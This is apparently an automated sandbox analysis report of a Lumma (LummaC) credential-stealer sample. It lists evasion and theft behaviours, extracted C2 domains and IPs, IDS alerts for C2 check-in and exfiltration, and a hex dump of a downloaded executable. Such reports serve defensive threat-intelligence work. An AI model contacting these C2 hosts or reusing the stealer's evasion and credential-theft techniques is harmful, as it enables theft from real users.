Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560184
MD5:	743ae689f70257d7a4ee703c6d9ba24b
SHA1:	9e59fbb68179d85c56bc3a4c6e05d612b9a8436a
SHA256:	35d8eb1936b64a1baadfdf0e8aad44702346acae6b466217ebc09d4cbf2a69e4
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5788 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 743AE689F70257D7A4EE703C6D9BA24B)

chrome.exe (PID: 5380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1728 --field-trial-handle=1988,i,17902174310795812285,10958693031429815383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,8889273046663356673,18172762526831080646,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "peepburry828.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2178633717.000000000165E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2206653921.0000000001665000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2206639627.000000000165F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2206668406.0000000001668000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2155221118.000000000165E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5788	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5788	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:08.874085+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-21T14:26:10.940702+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-21T14:26:13.264798+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-21T14:26:16.639243+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-21T14:26:19.025909+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-21T14:26:21.677248+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-21T14:26:24.310675+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	188.114.96.3	443	TCP
2024-11-21T14:26:29.454581+0100	2028371	3	Unknown Traffic	192.168.2.5	49728	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:09.571483+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-21T14:26:11.685911+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-21T14:26:30.185835+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49728	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:09.571483+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:11.685911+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:08.874085+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-21T14:26:10.940702+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-21T14:26:13.264798+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-21T14:26:16.639243+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-21T14:26:19.025909+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-21T14:26:21.677248+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-21T14:26:24.310675+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49713	188.114.96.3	443	TCP
2024-11-21T14:26:29.454581+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49728	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:31.716622+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49734	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:07.277886+0100	2057730	1	Domain Observed Used for C2 Detected	192.168.2.5	61600	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:15.172299+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	188.114.96.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T14:26:24.315590+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49713	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2387951891.0000000008AA0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057730 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs) : 192.168.2.5:61600 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49728 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49728 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:26:31 GMTContent-Type: application/octet-streamContent-Length: 2819072Last-Modified: Thu, 21 Nov 2024 12:59:18 GMTConnection: keep-aliveETag: "673f2ea6-2b0400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 62 71 6d 70 63 70 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 7a 62 78 62 6e 78 00 20 00 00 00 60 2b 00 00 04 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.246.44 13.107.246.44
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49734 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49728 -> 188.114.96.3:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49810 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=b+8HaSoDW3vVDPm&MD=SeklaChs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
